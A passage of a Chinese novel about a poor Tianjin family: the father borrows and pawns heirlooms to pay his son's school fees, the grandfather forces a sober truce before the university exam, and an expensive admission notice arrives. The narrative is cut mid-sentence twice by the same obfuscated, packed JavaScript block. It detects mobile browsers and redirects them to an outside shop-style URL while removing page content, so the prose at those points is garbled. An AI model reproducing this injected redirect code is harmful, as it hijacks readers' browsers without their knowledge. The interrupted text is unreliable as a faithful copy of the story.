车铃又响了，渐行渐远。张玉芬站在胡同口，捏着信封，半天没动。太阳白花花，晒得人头晕。信封在手里有了重量，沉甸甸，像块砖。 她没敢拆，走回家，放堂屋桌上。桌子是姚建国父亲留下的，腿断了，用铁丝缠着。信封在斑驳漆面上显得格格不入，崭新，挺括，像从另一个世界来的。 姚建国在院子里蹲着，看一个方向，动也不动，愣神。张玉芬走到门口，喊：“建国。” “嗯？”头也没抬。 “信来了。” 姚建国慢慢直起身，手在裤子上抹了抹，留下两道土印。他走过来，站在门口，看桌上的信封，看了很久。然后说：“拆吧。” “你拆。” 姚建国摇头：“你拆，你手干净。” 张玉芬手其实不干净，指甲缝里还有糨糊。但还是走过去，拿起信封。封口粘得牢，撕了一下，没撕开。又撕，撕开个小口，再用力，“刺啦”一声，口子裂大了。 里面两张纸。一张录取通知书，印着校徽，下面是姚华的名字，铅字印的，端端正正。另一张缴费通知单，列一串数字：学费八百，书本费二百四，校服费一百六，住宿费三百……最下面合计：一千五百二十元整。 张玉芬先看录取通知书。识字不多，但“姚华”认识，“铁一中”也认识。看了三遍，递给姚建国。姚建国接过，手有点抖，纸哗啦哗啦响。盯着上面的字看，看了很久，突然笑了，笑得很怪，嘴角向上扯，眼睛却红着。 “考上了。”他说。 “嗯。” “铁一中。” “嗯。” 姚建国把通知书放回桌上，放得很轻，像怕碰碎什么。然后拿起缴费单，只看一眼，就放下了。转身往外走，走到院子里，蹲下，继续修车链子。钳子捡起来，手抖得厉害，对了好几次才对准链扣。 张玉芬跟出来，站他身后。“一千五百二。” “嗯。” “加上赞助费，还差……两千多。” 姚建国没应，用力拧紧钳子，链扣“咔哒”一声，接上了。摇脚踏板，轮子转起来，链子还有点松，哗啦哗啦响。 “怎么办？”张玉芬问。 姚建国站起来，拍拍手上的土。土和油混一起，成了黑泥。“我去借。” “跟谁借？” “总有地方借。” 说完往外走，连手都没洗。张玉芬看他背影，衣服后背湿了一大片，贴瘦削的脊梁上，能看见一节节脊椎骨的形状。她突然觉得，这男人从来没像今天这么小过，小得像要被太阳晒化了。 姚建国先去了二舅家。二舅正在院子里浇花，用个破搪瓷缸子，掉瓷掉得厉害，露出黑铁。 “借钱？”二舅放下缸子，“多少？” “五百。” 二舅笑了，笑得很苦。“建国，不是我不借，你瞅瞅我这院子，瞅瞅我这屋，像有五百块钱的样子吗？” 姚建国没说话，眼睛盯着地上的蚂蚁。蚂蚁在搬死苍蝇，几十只抬着，摇摇晃晃走。 “孩子考上铁一中是好事，”二舅递他根烟，“可这好事……太费钱。” “我知道。” “你打算怎么还？” “我干活，慢慢还。” 二舅抽口烟，烟雾在热空气里升得慢。“这样吧，我给你一百。再多真没了，你舅妈看病还得花钱。” 一百就一百。姚建国接过钱，是十张十元的，叠得整齐。他没数，塞进裤兜。裤兜里原来就有钱，这两天拉货挣的，二十三块四毛，和这一百混一起，厚了些。 “谢谢二舅。” “谢啥，”二舅摆摆手，“孩子出息了，比啥都强。” 从二舅家出来，姚建国在胡同口站了会儿。太阳正毒，晒得柏油路面发软，踩上去黏鞋。他想起姚华小时候，三岁吧，摇摇晃晃在胡同里跑，摔倒了，不哭，自己爬起来，拍拍土继续跑。那时候想，这孩子倔，像他。可现在觉得，姚华的倔和他不一样——姚华的倔是往上，摔倒了也要往前跑；他的倔是往下，站着不动，也在往下沉。 第二家去远房表姑。表姑住楼房，三楼，爬上去喘得厉害。敲门，表姑开门，看见他，愣一下。 “建国？稀客啊。” “表姑，”姚建国说，“想跟您借点钱。” 表姑让他进屋。屋里比外面凉快，电风扇在转，吱呀吱呀。表姑给他倒杯水，水是凉的，杯壁凝着水珠。他喝一口，凉水顺喉咙下去，浇不灭心里焦灼。 “多少？” “三百。” 表姑没说话，走里屋，拿张存折出来。“建国，不是表姑不帮你，你看看。” 存折打开，余额那栏写着：二百七十三块六毛二。 “你表姑父厂子半年没发工资了，”表姑说，“这钱，是留着买米的。” 姚建国点头，站起来。“那我走了。” “等等。”表姑叫住他，从抽屉拿出手绢包，打开，里面是零钱，最大五块，最小一毛。她数出三十块，塞给他。“这点，给孩子买支好笔。” 姚建国接过钱，想说谢谢，但说不出口。他鞠个躬，转身走了。楼梯暗，一步一步往下，脚步声在楼道里回荡，像有另一个人跟着他。 傍晚时，借到了三百二十块。除了二舅一百，表姑三十，还有几个邻居，十块二十块凑。钱在裤兜里鼓起来，像长瘤子。但他知道，不够，远远不够。 回到家，姚华已经回来了。他正在看通知书，看得仔细，手指在“铁一中”三个字上摩挲。听见门响，抬起头，眼睛亮亮。 “爸。” “嗯。”姚建国应一声，走到水缸边，舀瓢水洗脸。水是晒过的，温的，洗不掉脸上疲惫。 张玉芬在做饭，今天特意多炒个菜——西红柿炒鸡蛋。鸡蛋是跟邻居借的，三个，打碗里黄澄澄。西红柿自家种的，结得小，酸。 吃饭时，三个人都没怎么说话。姚华不时看眼桌上通知书，像在确认它是真的。张玉芬给姚华夹鸡蛋，一筷子，又一筷子，自己只吃西红柿。姚建国埋头扒饭，饭是昨天的剩饭，有点馊味，但他吃不出来。 吃完，姚华洗碗。姚建国叫住他：“华子。” “嗯？” “铁一中……好吗？” 姚华想了想，说：“老师说，是中环线以内的好学校之一。” “之一？” “还有南开、耀华、一中……” 姚建国不懂这些名字区别。在他眼里，学校只有两种：要钱的和不要钱的。铁一中显然要钱，而且要得多。 “去了好好学。”他说。 “嗯。” “别像爸。” 这话说出口，他自己都愣了。姚华也愣了，碗在手里滑一下，差点掉地上。张玉芬擦桌子，动作停住了。 屋里静得可怕。只有电灯泡在头顶晃，灯绳长长的，投下的影子也在晃。 姚建国站起来，走到院子里。天黑了，星星还没出来，天是深蓝色，像块厚重绒布。他点根烟，“红恒大”，烟盒瘪了，最后一根。烟吸进肺里，辣，但有种实实在在感觉——还活着，还能呼吸，还能为一千五百二十块钱发愁。 张玉芬跟出来，站他身后。“还差多少？” “借了三百二。” “还差一千二。” “嗯。” “明天我去火柴厂问问，能不能多领点活。” 姚建国没应。他知道，糊火柴盒糊到死也糊不出一千二。但不知道还有什么办法。这辈子好像总在想办法，想出来的却总是死办法，走到头才发现是死胡同。 夜里，姚华睡着了。张玉芬在灯下缝衣服，姚华的校服，袖子短了，接上一截，用旧衣服上拆下来的布，颜色不一样，深一块浅一块，像打补丁。 姚建国坐门槛上，看夜空。星星出来了，密密麻麻，像撒把盐。想起小时候，母亲常说，地上一个人，天上一颗星。那时候总找自己的星，找不着，就问母亲，母亲指最暗的一颗说：“那颗，最暗的就是你。” 他问为什么我最暗。母亲说：“因为你不着调，不会发光。” 现在信了。就是那颗最暗的星，发不出光，只能在天上挂着，看别的星亮晶晶，看自己儿子也要变成亮晶晶的星——可变星要钱，很多钱，给不起。 “建国。”张玉芬在屋里叫他。 他进去。张玉芬从床底下拖出木箱子，打开，里面是她的嫁妆：一对枕巾，已经发黄；一条红纱巾，褪色褪成了粉色；还有个小布包，打开，是一对银镯子，很细，已经发黑。 “这个，”张玉芬拿起镯子，“明天拿去古文化街当了。” 姚建国接过镯子，很轻，手里几乎没有重量。但知道这重量——这是张玉芬母亲留给她的，结婚那天戴过，后来就收起来，说等姚华结婚时传给儿媳妇。 “不能当。” “那怎么办？” 姚建国答不上来。他攥着镯子，镯子硌着手心，冰凉。突然想起结婚那天，张玉芬戴这对镯子，手抬起来擦汗时，镯子碰一起，叮叮当当响，像风铃。那时候觉得，这声音真好听，能听一辈子。 “我再想想办法。”他说。 “你能想什么办法？”张玉芬声音突然提高，“姚建国，我跟你二十年了，你想出过什么办法？下岗的时候你说想办法，车丢的时候你说想办法，现在孩子上学要钱，你又说想办法！你的办法在哪？啊？” 姚建国站着，像根木桩。张玉芬的话像针，一根根扎进肉里。知道她说得对，从来没什么办法，办法就是喝酒，就是蹲河边发呆，就是等时间过去，等事情自己解决——或者自己烂掉。 “我去借。”他重复这句话，像念咒。 “跟谁借？你把能借的都借遍了！”张玉芬哭了，声音压很低，怕吵醒姚华，“姚建国，我求你，你哪怕硬气一回，哪怕去偷去抢，把孩子的学费挣来，我也认了！可你……你就会说‘我去借’！” 姚建国不说话。他慢慢蹲下来，蹲箱子边，看里面的东西。枕巾上绣着鸳鸯，一只头朝东，一只头朝西，永远碰不到一起。红纱巾原来大红的，现在褪色了，像干了的血。还有镯子，在手里，越来越沉，沉得拿不住。 “我去借。”又说一遍，然后站起来，往外走。 “你去哪？” “你别管。” 他走出家门，走进夜色里。胡同很黑，没有路灯，深一脚浅一脚走。走到胡同口，停住了——不知道往哪去。世界这么大，却没一个地方能借一千二百块钱。 他在马路牙子上坐下，坐了很久。有夜班的人骑车经过，车灯扫过他，又扫过去，像探照灯扫战俘营。想起货场的探照灯，晚上拉货时，那灯亮得刺眼，能把人的影子钉地上，钉得死死的，动不了。 后来去了海河。河边有长椅，他躺上去，椅子窄，硌得背疼。他看天，星星还在，还是那么多，那么亮。找最暗的那颗，找着了，确实暗，暗得几乎看不见，但仔细看，还在那儿，没消失。 “你还在啊。”他说，对着那颗星。 星不回答，只是闪，很微弱地闪。 第二天，姚建国干了件这辈子最不想干的事——去找他父亲。父亲住养老院，二伯安排的，费用本是三个儿子平摊。姚建国那份一直由张玉芬出，每个月五十，从牙缝里省。 养老院在北郊区，倒三趟公交车才到，可能是这辈子去过最远的地方。院门口有棵老槐树，树下几个老人在下棋，吵吵嚷嚷。他绕过去，走进楼里。楼道里有股消毒水味，混尿臊味，刺鼻。 父亲房间在二楼最里面。门开着，看见父亲坐窗前，背对门，一动不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119414|195947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动，像尊雕塑。他敲门，父亲没回头。 “爸。” 父亲慢慢转过身。老了，老得认不出了，脸上布满褐色斑，眼睛浑浊，看人时要眯好久。 “谁？” “我，建国。” 父亲眯眼看他半天，终于认出来了。“哦，建国啊。坐。” 姚建国在床边椅子上坐下。椅子铁的，凉。房间小，一张床，一个柜子，一把椅子，就满了。窗台上摆着相框，里面全家福，很早以前照的，那时候母亲还在，他还年轻，三个儿子站一排，像三棵没长开的树。 “有事？”父亲问。 “嗯。” “说。” 姚建国张嘴，话卡喉咙里。这辈子没跟父亲要过什么，小时候没有，长大了更没有。现在却来要钱，为了孙子。 “姚华……考上学了。”他先说这个。 “啥学？” “铁一中，好学校。” 父亲点头，脸上没什么表情。“好，上学好。” “可是……要钱。” “多少？” “一千五。” 父亲沉默一会儿，然后笑了，笑得很干，像枯树叶在响。“一千五……我一个月退休金才三百。” “我知道。” “你二伯上月来看我，说你也下岗了。” “嗯。” “那你咋活？” “拉货，打零工。” 父亲盯着他看，看了很久，看得姚建国低下头。觉得自己像被剥光了，所有的无能、所有的失败都晾父亲眼前，晾在这个曾经一巴掌能把他扇倒的男人眼前。 “我帮不了你。”父亲说。 “我知道。” “我也没帮过你啥。”父亲转头看窗外，窗外养老院的围墙，墙外有棵树，树上挂着塑料袋，风一吹，塑料袋就飘，像白色鬼魂。“你妈死得早，我……我对不起你们。” 姚建国没说话。想起母亲下葬那天，父亲一滴眼泪没掉，只是站坟前，站了很久。那时候觉得父亲心硬，现在觉得，也许不是心硬，是眼泪早就流干了，流在别人看不见的地方。 “这个你拿去。”父亲从枕头底下摸出存折，递给他。 姚建国接过，打开。存折很旧了，开户日期1978年，余额：五百二十元整。 “我攒的，”父亲说，“本想留着……算了，你拿去。” “爸……” “别叫我爸。”父亲摆手，“我当不起。” 姚建国攥着存折，存折边角磨毛了，纸页泛黄。五百二十块，父亲攒二十年的钱，也许为买个好点的骨灰盒，也许为最后请人吃顿饭，现在都给了他。 “我会还。”他说。 “不用还。”父亲转回身，继续看窗外，“我死了，你给我买最便宜的盒子就行，剩下的，烧了。” 从养老院出来时，太阳正烈。姚建国在门口站一会儿，看那棵老槐树。树下下棋的老人吵起来了，为一个子儿，争得面红耳赤。他看了会儿，走了。 现在有八百四十块了。加上之前借的三百二，一千一百六。还差三百六。 三百六，不多，但对他来说，像三百六十座山。 回家公交车上，他睡着了。梦里回货场，拉棉纱，一车接一车，永远拉不完。累得喘不过气，想停，但停不下来，后面有人在推，推他的人是父亲，是张玉芬，是姚华，是所有欠了债的人。 醒来时坐过了站。他下车，往回走。路过工地，工地正在挖地基，大坑深不见底，像张开的嘴。他站坑边看了会儿，突然想，跳下去就好了，一了百了。 但没跳。还有三百六十块钱要挣。 那天晚上，张玉芬把镯子当了。当铺老板是个老头，戴老花镜，用指甲在镯子上划划，又放灯下看。 “成色不好，”老板说，“最多八十。” “一百，”张玉芬说，“这是我妈传的。” “八十，不卖拉倒。” 张玉芬咬咬嘴唇：“九十。” 老板看看她，又看看镯子。“八十五，不能再多了。” “八十五就八十五。” 她拿着钱回家，钱是八张十元的，一张五元的，新崭崭。把钱放桌上，和姚建国借来的钱放一起。现在总数一千二百四十五元，够了，还多出二十五。 “够了。”她说。 姚建国看那堆钱，钱在灯光下泛光，像一堆碎玻璃，扎眼。想起父亲的存折，想起张玉芬的镯子，想起二舅的一百块，想起表姑的三十块……这些钱凑一起，凑成了姚华的未来。 而他，什么都没出——除了无能，除了借来的钱，除了让父亲掏棺材本，让妻子当掉传家宝。 “我对不起你们。”他说。 张玉芬没应，只是把钱收起来，一张张理好，用橡皮筋扎紧。“明天去交钱。” 夜里，姚华醒了，听见父母说话。声音很低，但还是听见了。 “镯子……以后挣了钱赎回来。” “赎不回来了，当铺那老头精着呢。” “那……我以后给姚华媳妇买对新的。” “等你有钱再说吧。” 沉默。然后是他父亲的叹息，很长，很重，像从地底深处传来。 姚华闭眼睛，假装睡着了。但他知道，从今天起，有些东西不一样了。肩上压着的，不只是一个书包，不只是一千五百二十块钱，而是整个家的重量——父亲的愧疚，母亲的牺牲，那些借来的钱和当掉的东西，都变成了重量，压在他十四岁的肩膀上。 他知道，必须跑起来，拼命跑，跑得比所有人都快。不是为了出息，不是为了光宗耀祖，只是为了有一天，能把那些当掉的东西赎回来，能把借来的钱还上，能让父亲不再说“对不起”，能让母亲不再半夜里偷偷哭。 窗外，友谊罐头厂的烟囱还在冒烟。黄烟融入夜色里，看不见了，但那股午餐肉的油腻味还在，黏空气里，黏肺里，黏在这个家的每一个角落，像永远散不去的贫穷的气味。 姚华数烟囱冒烟的次数，一，二，三……数到一百时，睡着了。梦里在跑，跑在很长的路上，路两边是无数双手，有的递钱，有的从他手里拿东西，有的推着往前，有的拉着往后。跑啊跑，跑得喘不过气，但不敢停。 他知道，一旦停下，那些手就会把他撕碎。 8. 第八章 高考停火协议 铁一中的围墙刷过三次灰，第一次是姚华初一那年，刷到一半停了工，剩下半截灰扑扑的水泥墙，裸露着陈年的砖缝，像盐坨桥总也补不平的桥面。初中三年，高中又三年，他每天从这堵墙下走过，看墙头的野草黄了又绿。现在，墙彻底刷白了，白得晃眼——因为高考要来了。 腊月二十三，小年夜的雪把盐坨村下成了一锅稠粥。姚华从学校晚自习回来时，看见院门外戳着个黑影——是辆黑色轿车，车顶上积了寸把厚的雪，像戴了顶孝帽子。这车和盐坨桥上那些拉罐头的小货卡不一样，它黑得亮堂，连雪都盖不住那股子气派。 他推门，门轴冻住了，吱呀声特别刺耳，像盐坨桥老铰链的呻吟。堂屋里，八仙桌旁坐着三个人：爷爷、父亲、母亲。桌上的酒瓶倒了，褐色液体正顺着桌腿往下淌，在地面汇成一滩，像陈旧的血——也像盐坨桥下那条终年泛着铁锈色的河水。 姚老爷子九十岁了，背还挺得笔直。他穿着洗得发白的旧军装，风纪扣严严实实扣着。拐杖靠在桌边，杖头包着铜皮，在十五瓦灯泡下泛着冷光，像盐坨桥栏杆上那些被磨亮的铆钉。此刻他正盯着儿子，眼神像两把生锈的刺刀。 “你刚才说什么？”老爷子的声音不高，每个字都像从胸腔里砸出来的。 姚建国缩在条凳上，手里攥着酒盅，指关节白得发青。“爹……我就喝一口……” “一口？”老爷子突然笑了，笑得咳嗽起来，咳得整个身子都在抖。咳完了，他用袖子抹抹嘴，“1948年打天津，我们在西营门外围了三天三夜。最后一天，炊事班的老刘揣着半壶地瓜烧爬过来，说班长，喝口暖暖。我说不能喝，喝了手抖，枪打不准。”他盯着儿子，“你猜老刘后来怎么了？” 姚建国不敢接话。 “死了。”老爷子说，“肠子被打出来了，拖回来时手里还攥着那壶酒。”他顿了顿，“要是他没喝那口酒，手稳点儿，也许能多杀两个敌人。”屋外传来罐头厂夜班换岗的汽笛声，老爷子的话混在汽笛里，像从很远的地方飘来。 屋里静得能听见雪压断树枝的声音。 老爷子慢慢站起来，一步一顿走到儿子面前。他低头看着那个酒瓶——直沽高粱，最便宜的那种，标签被酒渍浸得发皱。然后，他抬起右脚。 那是一双老式解放鞋，鞋底磨得几乎透明，鞋帮上还沾着从盐坨桥那头踩来的泥雪。鞋抬起来，在空中停了一瞬，像在积蓄力量。然后，落下。 “哐当——” 酒瓶碎了。不是被踢倒，是被踩碎的。玻璃碴子四溅，有几片崩到姚建国裤腿上，他没敢动。酒液彻底洒了，那股劣质酒精的酸臭味猛地腾起来，倒比友谊罐头厂飘来的烂水果味好闻些。 “姚建国，”老爷子弯下腰，脸几乎贴到儿子脸上，“你听好了。我就这么一个孙子，他明年六月要考大学。这半年，你再碰一滴酒，我打断你的腿。你再在家里闹一次，我砸了这屋顶。”他直起身，“反正这破房子，也不值几个钱，还不抵盐坨桥东头一间铺面的月租。” 姚建国张了张嘴，没发出声音。他慢慢低下头，看着那一地碎片。有一片大的，映出他扭曲的脸。 老爷子转向张玉芬：“玉芬。” “爹。”张玉芬站起来，手在围裙上擦着——其实围裙是干的。 “这半年，辛苦你。”老爷子从军装内兜掏出个手绢包，一层层打开。里面是钱，有十块的，五块的，还有毛票。他把钱放在桌上，“三百二十块。给孩子买点好的，补补脑子。” “爹，这不能……” “拿着！”老爷子声音一厉，随即又软下来，“我老了，钱留着没用。华子考上大学，比什么都强。”他顿了顿，“盐坨桥西头老王家那小子，去年考上了师范，现在全家都搬到桥东去了。咱们姚家，不能总在桥西头。” 最后，他看向姚华。看了很久，眼神像在抚摸一件失而复得的宝贝。“孙儿，”他说，“爷爷没文化，大字不识几个。但爷爷知道，读书是出路。你爹……”他停了一下，“你爹这条路走歪了，你不能歪。盐坨桥就这么长，歪一步，就掉河里了。” 姚华点点头，喉咙发紧。他想起每天上下学经过盐坨桥时，桥东头那些穿呢子大衣的学生，桥西头那些和他一样拎着破书包的孩子。桥是同一座桥，桥下的水却好像把两岸隔成了两个世界。 老爷子拿起拐杖，铜杖头在地面上顿了顿：“我走了。” “爹，住一晚吧，雪这么大……” “不住。”老爷子推开院门，风雪呼地灌进来，“养老院那边，晚上要点名。在盐坨桥东头，路不远。” 他蹒跚着走进雪里，背影在路灯下被拉得很长。黑色轿车的门开了，司机——一个穿军便装的年轻人——扶他上车。车门关上，车灯亮起，碾着积雪缓缓驶远，穿过盐坨桥时甚至没有减速。留下一道黑色的车辙，很快又被新雪盖住了，像盐坨桥上那些总也留不住的脚印。 那一夜，姚家静得像座坟。 姚建国蹲在地上捡玻璃碴。一片，两片，捡得很慢，像在捡自己的骨头。捡完了，他用扫帚扫，扫帚是秃的，扫不干净细小的碎片。他又趴下去，用手一点一点摸，摸到就捏起来。手指被划破了，血珠渗出来，他塞进嘴里吮。那味道比罐头厂腌渍车间的酸水还冲。 张玉芬在厨房煎鸡蛋。六个鸡蛋，是老爷子带来的。她煎成溏心的，油放得比平时多，锅里滋滋响，油烟气飘出院子，混进盐坨桥夜市摊的油烟里，分不清谁是谁的。 姚华在里屋做模拟卷。数学卷，最后一道大题是解析几何，他算了三遍，答案都不一样。橡皮用完了，他用手指蘸唾沫擦，把卷子擦出个洞，像盐坨桥路面那些总也填不平的坑。 夜深了。姚华出来上厕所，看见父亲还坐在堂屋里，对着空荡荡的桌子发呆。灯泡悬在他头顶，把他的影子投在墙上，巨大，变形，像盐坨桥在月光下的剪影。 “爸。”姚华叫了一声。 姚建国没回头，只是摆摆手：“睡去吧。” 春天来了又走。友谊罐头厂的烟囱照旧冒黄烟，只是空气里多了杨絮，白茫茫的，落在盐坨桥面上像下了一层薄雪。姚家真的有了半年的和平——如果沉默也算一种和平的话。 姚建国不喝酒了。不是不想喝，是不敢。老爷子每周让司机送来一兜鸡蛋，有时还有二两猪肉。司机不说话，放下东西就走，车总是停在盐坨桥西头，从不开过桥来。姚建国对着那些东西，能发一上午呆。 他开始找活干。正经活找不到，就去建筑工地当小工，和水泥，搬砖头。一天十五块，中午管一顿饭——馒头、白菜汤，汤里漂着几点油星，比盐坨桥头民工摊的伙食还差些。他五十岁了，腰不好，搬一会儿就得直起来捶捶。工头骂他磨蹭，他嘿嘿笑，不还嘴，笑得像盐坨桥栏上那些傻乎乎的石狮子。 晚上回家，他洗脚，一盆水能洗出半盆泥。脚底板磨出了新茧，叠在旧茧上。张玉芬给他挑水泡，针在煤油灯上烧一下，挑破，挤出黄水。他不喊疼，只是嘶嘶吸凉气，声音像盐坨桥下漏风的桥洞。 姚华的成绩忽上忽下。一模考了年级五十八，二模掉到九十二。班主任找他谈话，说：“别紧张，你底子不差。”但他知道，底子不差有什么用？盐坨桥西头的孩子，底子都不差，可每年能从桥西考到桥东去的，掰着手指头能数清。 五月最后一天，姚建国在工地摔了一跤。一摞砖头没码稳，倒了，砸在他脚上。工头送他去卫生所，医生说骨头没事，但脚踝肿得像馒头——盐坨桥头早点摊那种碱面馒头，又大又实沉。 “工钱……”姚建国问。 “歇工没工钱。”工头说得干脆，像盐坨桥东头那些穿西装的人谈生意。 那天姚建国是瘸着走回家的。五公里路，他走了一个半小时。过盐坨桥时，桥东头的烧烤摊飘来肉香，他咽了口唾沫，没停步。到家时天黑了，姚华刚下晚自习。 “爸，你的脚……” “没事。”姚建国坐到门槛上，脱鞋。鞋脱不下来，肿得太厉害。他用剪刀剪开鞋帮，脚露出来，青紫，发亮，像盐坨桥下淤了多年的河泥。 张玉芬打来热水，给他敷。热毛巾碰到伤处，他浑身一哆嗦。 夜里，姚华听见父母在说话。 “……要不，跟爹说一声？” “不说。” “可你这样，怎么干活？” “我能行。” “你能行什么？”张玉芬的声音带了哭腔，“姚建国，你五十了！你就不能服个软？盐坨桥东头那些老板，哪个不是从服软开始的？” “我没错！”姚建国突然低吼，“我没错！我就是没本事，怎么了？盐坨桥这么长，总得有人在西头！” 沉默。长久的沉默。只有罐头厂夜班机器的轰鸣声，从盐坨桥那头闷闷地传来。 然后姚华听见父亲哭了。不是嚎啕，是压抑的、从喉咙深处挤出来的呜咽，像盐坨桥下冬天的风，从桥洞这头钻进去，那头出来时，就带了哭腔。 六月六日，高考前一天。傍晚，姚建国从外面回来，手里拎着条鱼。鲤鱼，一斤多重，还活着，尾巴一甩一甩，甩了他一身水。 “哪来的？”张玉芬问。 “买的。” “多少钱？” “别管。”他顿了顿，“盐坨桥东头水产市场收摊时买的，便宜。” 吃饭时，姚建国把鱼肚子上的肉都夹给姚华。“明天考试，吃好点。”鱼肉很嫩，但刺多，像盐坨桥那头的路，看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119415|195947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 平坦，走起来扎脚。姚华小心地剔，还是被一根小刺卡了喉咙。咳了半天。 “慢点吃。”姚建国说，伸手想拍拍儿子的背，手伸到一半，又缩回去了，像盐坨桥上那些想跨又不敢跨过桥中线的人。 那晚姚华很早就躺下了，但睡不着。他听见父母在堂屋里忙活——母亲在给他准备明天的东西，父亲在修那辆破自行车。扳手、钳子、打气筒，叮叮当当响，声音在盐坨桥这头的夜里传不了多远。 后来声音停了。姚华爬起来，从门缝往外看。父亲坐在门槛上抽烟，没开灯，烟头的红光在黑暗里一明一灭，像盐坨桥上的路灯，隔老远才有一盏。母亲坐在他旁边，手里拿着件衣服在缝——是他的校服，肘部磨薄了，像盐坨桥面的沥青，补了又补。 “能考上吗？”姚建国突然问。 “能。”张玉芬说，针线没停。 “考上了……学费怎么办？” “借。” “跟谁借？” “总能借到。”针穿过布料，嗤的一声。 姚建国不说话了，只是抽烟。一根抽完，又点一根，烟灰落在门槛上，积了一小堆，像盐坨桥栏上落的灰。 六月七号，早晨。张玉芬起了个大早，煎了六个溏心蛋——和半年前老爷子带来的那六个一样。蛋在锅里滋滋响，油星子溅出来，烫了她的手，她没吱声。 姚建国没喝酒。他蹲在门口，抽完最后一根烟，把烟头在水泥地上捻灭，捻成了碎末，像盐坨桥面上那些被碾碎的烟蒂。然后他站起来：“走吧。” 自行车是借老李的。姚华坐后座，手里拎着布袋子，里面装着所有考试要用的东西，还有两个煮鸡蛋、一壶凉白开。车轱辘压过盐坨桥时，姚华看见桥下的水比往常清了些——也许是错觉。 路上车很多。姚建国蹬得很慢，躲着车流。他的脚还没好利索，蹬车时左脚不敢用力，车就歪歪扭扭的，像喝醉了酒。过盐坨桥东头时，几个穿校服的学生骑着崭新的自行车超过去，车铃铛响得清脆。 “爸，我自己去吧。” “没事。”姚建国头也不回。 考点在铁一中本校。校门口黑压压全是人。姚建国把车停到路边，锁好——其实不用锁，这破车，盐坨桥东头的人看不上。他看了看儿子，想说什么，嘴唇动了动，没说出来。最后他只是伸出手，替姚华整了整衣领。手指粗糙，刮得姚华脖子生疼。 “好好考。”他说。 姚华点点头，转身往校门走。走了几步，他回头。父亲还站在原地，双手插在裤兜里，看着他。晨光从侧面照过来，照出父亲半张脸——皱纹很深，像盐坨桥面那些裂开的水泥缝。鬓角全白了，白得像盐坨桥栏上落的霜。 姚华突然看见，父亲插在裤兜里的手在抖。不是轻微的颤抖，是控制不住的、痉挛般的抖动。 他想起半年前，爷爷踩碎酒瓶的那个夜晚。想起父亲趴在地上捡玻璃碴的样子。想起这半年的沉默。想起盐坨桥，桥东，桥西。 他转过身，大步走进校门。不敢再回头。怕一回头，看见父亲还站在盐坨桥那头的世界里。 铃声响起。校门缓缓关上。姚华找到自己的考场，坐下，深呼吸。空气里有粉笔灰的味道，有旧木头桌椅的味道。 还有，很淡很淡的，父亲手指上那种劣质烟丝的味道——那味道，和盐坨桥夜市摊的油烟混在一起，是他十八年里最熟悉的气息。 他打开笔袋，拿出铅笔。铅笔削得很尖，是父亲昨晚削的，削下来的木屑还沾在笔杆上，像盐坨桥头老槐树落下的皮。 监考老师开始发卷。姚华接过卷子，第一页，语文。作文题目是：《路》。 他拿起笔。笔尖落在纸上，留下第一个字。那一刻，他忽然明白了父亲为什么抖——那不是戒断反应，不是害怕。 那是把所有的重量，所有的希望，所有的未竟之路，都压在一根细弱的铅笔上时，生命本身的、无法抑制的震颤。就像盐坨桥，每天承载那么多脚步，桥身也会微微地、几乎看不见地颤动。 就像爷爷说的，手抖了，枪就打不准。 但现在，他必须握稳这支笔。这支笔是桥，是他从盐坨桥西头，一步，一步，走向东头的唯一的桥。 窗外，友谊罐头厂的烟囱又开始冒烟了。黄烟滚滚，升上六月湛蓝的天空。烟向西飘，飘过盐坨桥，在桥面上投下淡淡的影子。但在姚华低头写字的这一刻，那烟，那过去所有的贫穷、所有的泪，都暂时远了。 笔尖划过纸张，沙沙，沙沙。 像走在一条新雪覆盖的路上，每一步，都踩出深深的、通向远方的脚印。也像走过盐坨桥，从这头到那头，桥还是那座桥，水还是那道水，但走过去的人，已经不是同一个人了。 9. 第九章 轻工业学院的逃亡 通知书是七月二十八号到的。那天热得铁皮屋顶往下滴油，友谊罐头厂的烟囱连黄烟都懒得冒了，死气沉沉地戳在天上，像根烧焦的手指头。邮递员的自行车铃在胡同口响了五遍，张玉芬才从糊火柴盒的案板上抬起头——手指被糨糊泡得发白起皱，像在水里泡了三天的尸体的手。 “挂号信！” 张玉芬没动。姚华从里屋出来，光着膀子，汗顺着肋骨往下淌，在瘦削的胸腹间犁出一道道亮晶晶的沟。 “妈，我去。” 信封右下角印着“轻工业学院”。姚华签名一笔一划，工工整整，像在完成某种仪式。邮递员瞥了一眼：“计算机？这专业好，将来能坐办公室。” 姚华没接话。他觉得信封沉，沉得像揣了块砖。 堂屋里，张玉芬已经站起来了，手在干围裙上擦着。姚华把通知书放在八仙桌上，桌子晃了晃，瘸腿发出呻吟。 “拆吧。” 他先看专业：计算机科学与技术。再看学费：四千八百元。住宿费：八百元。最后一栏：合计六千二百元整。 他把通知书推过去。张玉芬的目光在“六千二百”上停住了，停得很久，久到窗外的知了都换了一茬叫声。 “六千二……”她重复，声音飘忽得像烟。 姚建国是傍晚回来的。裤腿挽到膝盖，小腿上糊满了干裂的黑泥，一道道口子像大地的伤口。他进门就找水喝，抱起水缸边的瓢，仰头灌，喉结上下滚动，像颗挣扎的核桃。 “爹，通知书来了。” 姚建国放下水瓢，走到桌前，拿起那张纸。看了半天，突然转身进了里屋，传来开樟木箱子的声音——放家里重要东西的。 